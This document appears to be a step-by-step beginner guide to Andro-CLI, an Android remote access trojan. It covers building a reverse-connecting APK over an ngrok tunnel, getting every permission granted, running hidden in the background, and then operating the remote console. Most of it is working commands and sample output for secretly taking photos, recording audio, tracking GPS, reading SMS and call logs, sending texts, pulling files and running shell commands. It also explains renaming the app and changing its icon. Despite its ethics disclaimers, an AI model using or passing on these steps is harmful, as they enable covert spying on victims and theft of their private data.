READ THIS FIRST - VERY IMPORTANT
This tool is designed for EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY.
- ✅ Testing devices you own
- ✅ Authorized penetration testing with written permission
- ✅ Security research in controlled lab environments
- ✅ Educational demonstrations
- ❌ Unauthorized access to any device
- ❌ Surveillance without consent
- ❌ Any illegal activities
- ❌ Violation of privacy laws
WARNING: Unauthorized access to computer systems is illegal and punishable by law. Violations may result in criminal prosecution, imprisonment, and substantial fines.
By proceeding, you acknowledge you will use this tool legally and ethically.
This quick start guide will help you:
- ✅ Install Andro-CLI on your computer
- ✅ Build your first APK
- ✅ Connect to your Android device
- ✅ Execute basic commands
- ✅ Understand how the tool works
Difficulty: Beginner
Prerequisites: Your own Android device (Android 7.0+)
Before starting, you need these tools installed on your computer:
Check if installed:
python --versionExpected output: Python 3.x.x
If not installed:
- Windows: Download from python.org
- macOS:
brew install python3 - Linux:
sudo apt install python3 python3-pip
Check if installed:
java -versionExpected output: java version "11.0.x" or higher
If not installed:
- Download from adoptium.net (recommended)
- Or Oracle JDK
Easiest installation method:
- Download Android Studio
- Install and open Android Studio
- Go to: Tools → SDK Manager
- Install:
- Android SDK Platform 34
- Android SDK Build-Tools 34.0.0
- Android SDK Platform-Tools
Set environment variable (Windows):
$env:ANDROID_HOME = "C:\Users\YourUsername\AppData\Local\Android\Sdk"Check if installed:
git --versionIf not installed:
- Download from git-scm.com
- 💻 Computer (Windows/macOS/Linux)
- 📱 Android device (Android 7.0+) that you own
- 🔌 USB cable
- 🌐 Internet connection
# Navigate to your preferred folder
cd Desktop
# Clone Andro-CLI
git clone https://github.com/Kshitiz-2027/Andro-CLI.git
# Enter the directory
cd Andro-CLI
# Verify files are present
dir # Windows
ls # macOS/LinuxExpected files:
androcli.py
utils.py
requirements.txt
sign_apk.sh
Android_Code/
README.md
# Install required packages
pip install -r requirements.txtThis installs:
pyngrok- For ngrok tunnel support- Other necessary dependencies
Expected output:
Successfully installed pyngrok-7.0.0 ...
✅ Installation complete!
You have two options for building the APK:
Why ngrok?
- ✅ Works from anywhere with internet
- ✅ No port forwarding needed
- ✅ No network configuration required
- ✅ Perfect for beginners
Steps:
-
Create free ngrok account:
- Visit ngrok.com
- Sign up (free)
- Copy your authtoken from the dashboard
-
Configure ngrok:
ngrok config add-authtoken YOUR_AUTHTOKEN_HERE
-
Build the APK:
python androcli.py --build --ngrok -p 4444 -o my_first_app.apk
Build process takes 2-3 minutes. You'll see:
[*] Starting ngrok tunnel...
[*] ngrok URL: https://abc123.ngrok-free.app
[*] Configuring APK...
[*] Building APK with Gradle...
BUILD SUCCESSFUL in 2m 15s
[+] APK built successfully: my_first_app.apk
Use this if:
- Both devices are on the same WiFi network
- You don't want to use ngrok
Steps:
-
Find your computer's IP address:
Windows:
ipconfig
Look for "IPv4 Address" (e.g.,
192.168.1.100)macOS/Linux:
ifconfig | grep "inet " hostname -I
-
Build the APK:
python androcli.py --build -i YOUR_IP_ADDRESS -p 4444 -o my_first_app.apk # Example: # python androcli.py --build -i 192.168.1.100 -p 4444 -o my_first_app.apk
✅ Your APK is ready!
Method A: Direct Install via USB (Easiest)
# Connect your Android device via USB
# Enable USB debugging on your device:
# Settings → About Phone → Tap "Build Number" 7 times
# Settings → Developer Options → Enable USB Debugging
# Verify device is connected
adb devices
# Install the APK directly
adb install my_first_app.apkMethod B: Manual Transfer
- Connect device via USB
- Copy
my_first_app.apkto your phone's Download folder - Or email the APK to yourself and download on device
On your Android device:
Android 8-11:
- Tap the APK file in Downloads
- If blocked, tap "Settings"
- Enable "Allow from this source"
- Press back and tap "Install"
Android 12+:
- Settings → Apps → Special app access
- Install unknown apps
- Select your file manager (e.g., Files, Downloads)
- Enable "Allow from this source"
- Open File Manager or Downloads app
- Tap on
my_first_app.apk - Tap Install
- Wait 5-10 seconds
- Tap Open
The app will request multiple permissions. You MUST grant ALL of them:
Tap "Allow" for each:
- 📷 Camera → Allow
- 🎤 Microphone → Allow
- 📍 Location → Allow all the time (not just "while using")
- 📁 Files and media → Allow
- 📞 Phone → Allow
- 💬 SMS → Allow
- 👥 Contacts → Allow
Additional settings: 8. Display over other apps → Enable 9. Battery optimization → Select "Don't optimize" or "Unrestricted"
Note: The app screen may appear blank - this is normal! The app runs in the background.
Open a new terminal/PowerShell window:
# Make sure you're in the Andro-CLI directory
cd Desktop\Andro-CLI
# Start the server (using ngrok)
python androcli.py --shell --ngrok -p 4444
# OR if you used local IP:
# python androcli.py --shell -i YOUR_IP -p 4444You should see the Andro-CLI banner:
█████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██████╗██╗ ██╗
██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗ ██╔════╝██║ ██║
███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ██║ ██║ ██║
██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██║ ██║ ██║
██║ ██║██║ ╚████║██████╔╝██║ ██║╚██████╔╝ ╚██████╗███████╗██║
╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═╝
[*] Listening on port 4444
[*] Waiting for connections...
Within 5-10 seconds, your device will connect:
[+] New connection established!
[+] Device: Samsung SM-G973F
[+] Android Version: 12
[+] IP Address: 192.168.1.105
andro-cli> _
🎉 Congratulations! You're connected!
Now let's try some basic commands. Type these at the andro-cli> prompt:
andro-cli> deviceInfoOutput shows:
- Device manufacturer and model
- Android version
- Battery level
- IP address
- IMEI and SIM info
andro-cli> camListOutput:
Available Cameras:
[0] Back Camera
[1] Front Camera
# Take photo from back camera
andro-cli> camSnap 0
# Or from front camera
# andro-cli> camSnap 1Output:
[*] Requesting photo from camera 0...
[*] Capturing image...
[*] Image received (2.4 MB)
[*] Saving to: captures/photo_20251016_143022.jpg
[+] Photo saved successfully!
Check your captures folder to see the photo!
andro-cli> locationOutput:
==================== LOCATION DATA ====================
Latitude: 37.7749
Longitude: -122.4194
Accuracy: 12 meters
Provider: GPS
Address: San Francisco, CA, United States
========================================================
# Record 5 seconds of audio
andro-cli> mic 5Output:
[*] Starting audio recording for 5 seconds...
[*] Recording... ████████████████████ 100%
[*] Recording complete
[*] Saved: captures/audio_20251016_143145.m4a
andro-cli> smslistShows all SMS messages on the device
andro-cli> calllogShows incoming, outgoing, and missed calls
# Browse the Download folder
andro-cli> fileManager /sdcard/DownloadOutput:
==================== FILE BROWSER ====================
Path: /sdcard/Download
[DIR] 📁 Pictures/
[DIR] 📁 Documents/
[FILE] 📄 report.pdf (2.4 MB)
[FILE] 🖼️ photo.jpg (3.1 MB)
========================================================
# Get system uptime
andro-cli> shell uptime
# Check running processes
andro-cli> shell ps
# Get device IP address
andro-cli> shell ip addrandro-cli> helpShows all available commands
# DEVICE INFORMATION
deviceInfo # Get detailed device info
camList # List available cameras
# MEDIA CAPTURE
camSnap <0|1> # Take photo (0=back, 1=front)
mic <seconds> # Record audio
video <cam> <sec> # Record video
# LOCATION
location # Get GPS coordinates
# COMMUNICATION
smslist # List SMS messages
sendsms <num> <msg> # Send SMS
calllog # View call history
# FILE SYSTEM
fileManager <path> # Browse files
download <file> # Download file to PC
# SYSTEM
shell <command> # Execute shell command
clipboard # Get clipboard content
# CONTROL
exit # Disconnect
help # Show all commandsSolutions:
-
Check app is running:
- Open notification panel on Android
- Look for app notification
- If not present, reopen the app
-
Verify permissions:
- Settings → Apps → [Your App] → Permissions
- Ensure ALL permissions are granted
- Location should be "Allow all the time"
-
Check internet connection:
- Both devices need internet (for ngrok)
- Or same WiFi network (for local IP)
-
Restart everything:
- Close app on Android
- Stop server (Ctrl+C)
- Restart server
- Reopen app on Android
-
Check firewall:
- Windows: Allow Python through firewall
- Temporarily disable firewall to test
Solutions:
-
Check internet quality:
- Use stable WiFi connection
- Avoid mobile data for testing
-
Try command again:
- Some commands may timeout on slow connections
- Simply retry the command
-
Reconnect:
andro-cli> exit # Wait for device to reconnect automatically
Solution:
- On Android: Settings → Apps → [Your App] → Permissions
- Enable ALL permissions manually
- For Location: Select "Allow all the time"
- Restart the app
- Try the command again
Solutions:
-
Verify Java installation:
java -version javac -version
Both should show version 11 or higher
-
Check ANDROID_HOME:
echo $env:ANDROID_HOME # Windows PowerShell
Should point to your Android SDK folder
-
Clean and rebuild:
cd Android_Code .\gradlew clean cd .. # Try building again
-
Make gradlew executable (macOS/Linux):
chmod +x Android_Code/gradlew
Solutions:
-
Enable Unknown Sources:
- Settings → Security → Install unknown apps
- Enable for your file manager or browser
-
Use ADB install:
adb install -r my_first_app.apk
The
-rflag reinstalls if already present -
Check storage space:
- Ensure at least 100MB free space
- Clear cache if needed
-
Try different transfer method:
- If USB fails, try email or cloud storage
Solutions:
-
Check Android version:
- Minimum: Android 7.0 (API 24)
- Check: Settings → About Phone → Android version
-
Clear app data:
- Settings → Apps → [Your App]
- Storage → Clear Data
- Uninstall and reinstall
-
View crash logs:
adb logcat | findstr AndroidRuntimeLook for error messages
You have successfully:
✅ Installed Andro-CLI and all dependencies
✅ Built a custom APK file
✅ Installed the app on your Android device
✅ Successfully connected to your device
✅ Executed basic commands
✅ Captured photos remotely
✅ Accessed device information
✅ Learned troubleshooting basics
You now have a functional Android remote access tool for security research!
Week 1 - Master the Basics:
- Try all the commands listed in the reference
- Experiment with different cameras
- Practice file browsing
- Test various shell commands
Week 2 - Advanced Features:
- Video recording
- SMS sending
- File downloads
- Clipboard monitoring
Week 3 - Understanding the System:
- Study the source code in
Android_Code/ - Learn how persistence works
- Understand permission requirements
- Explore the Python server code
Week 4 - Security Analysis:
- Learn how to detect such tools
- Study mitigation strategies
- Understand privacy implications
- Practice responsible disclosure
📚 Documentation:
- Read
README.mdfor full feature list - Review
Andro-CLI_Research_Paper.mdfor technical analysis - Study the source code for deeper understanding
🔧 Customization:
- Modify app icon in
Android_Code/app/src/main/res/ - Change app name in
strings.xml - Adjust reconnection interval in
mainService.java - Add custom commands to
androcli.py
🛡️ Security Research:
ALWAYS:
- ✅ Get written permission before testing any device
- ✅ Use only on devices you personally own
- ✅ Test in isolated lab environments
- ✅ Document your testing activities
- ✅ Follow responsible disclosure practices
- ✅ Respect privacy and data protection laws
NEVER:
- ❌ Access devices without authorization
- ❌ Use for surveillance without consent
- ❌ Distribute to others for malicious use
- ❌ Violate computer fraud and abuse laws
- ❌ Ignore ethical boundaries
-
Test Responsibly:
- Use dedicated test devices
- Keep devices in controlled environment
- Don't test on production devices
-
Maintain Privacy:
- Don't capture sensitive information
- Delete test data after use
- Don't share captured data
-
Stay Updated:
- Keep Andro-CLI updated
- Update dependencies regularly
- Follow security advisories
-
Document Everything:
- Keep logs of your testing
- Document findings professionally
- Create proper reports
-
Give Back:
- Report bugs you find
- Contribute improvements
- Help other learners
- Share knowledge responsibly
- Check troubleshooting section in this guide
- Search GitHub Issues for similar problems
- Read the full README.md documentation
- Review the research paper for technical details
- Open a new issue with detailed information
- Your operating system and version
- Python version:
python --version - Java version:
java -version - Android device model and OS version
- Complete error messages (copy/paste)
- Steps to reproduce the problem
- What you've already tried
When you're done testing:
# Press Ctrl+C in the terminal- Settings → Apps
- Find and select your app
- Tap "Uninstall"
- Confirm
# Delete captured files
rm -r captures/
# Delete the APK
rm my_first_app.apkTutorial Completed:
- ✅ Difficulty: Beginner
- ✅ Skills learned: 10+ commands
- ✅ Hands-on experience: Yes
You now know how to:
- Build Android APKs with custom configurations
- Install and configure remote access tools
- Execute commands on remote Android devices
- Troubleshoot common issues
- Use the tool responsibly and ethically
Congratulations on completing the Getting Started tutorial! 🎉
You've taken your first steps into Android security research. Remember:
- 🎓 Keep Learning: Security is a continuous journey
- 🛡️ Stay Ethical: Always respect privacy and laws
- 🤝 Help Others: Share knowledge responsibly
- 📚 Document Everything: Maintain professional standards
- ⚖️ Know the Law: Understand legal boundaries in your jurisdiction
With great power comes great responsibility. Use Andro-CLI wisely, ethically, and legally.
# Connection
python androcli.py --shell --ngrok -p 4444 # Start server
# Information
deviceInfo # Device details
camList # List cameras
help # Show all commands
# Actions
camSnap 0 # Take photo (back)
camSnap 1 # Take photo (front)
mic 5 # Record 5 sec audio
video 0 10 # Record 10 sec video
location # Get GPS location
smslist # List SMS
calllog # List calls
fileManager /sdcard # Browse files
shell uptime # Run shell command
exit # DisconnectPrint this reference card for quick access during testing!
Tutorial Version: 1.0
Last Updated: October 16, 2025
Difficulty Level: ⭐ Beginner
Questions? Issues? Contributions?
Visit the GitHub repository for more information.
Happy (Ethical) Hacking! 🔐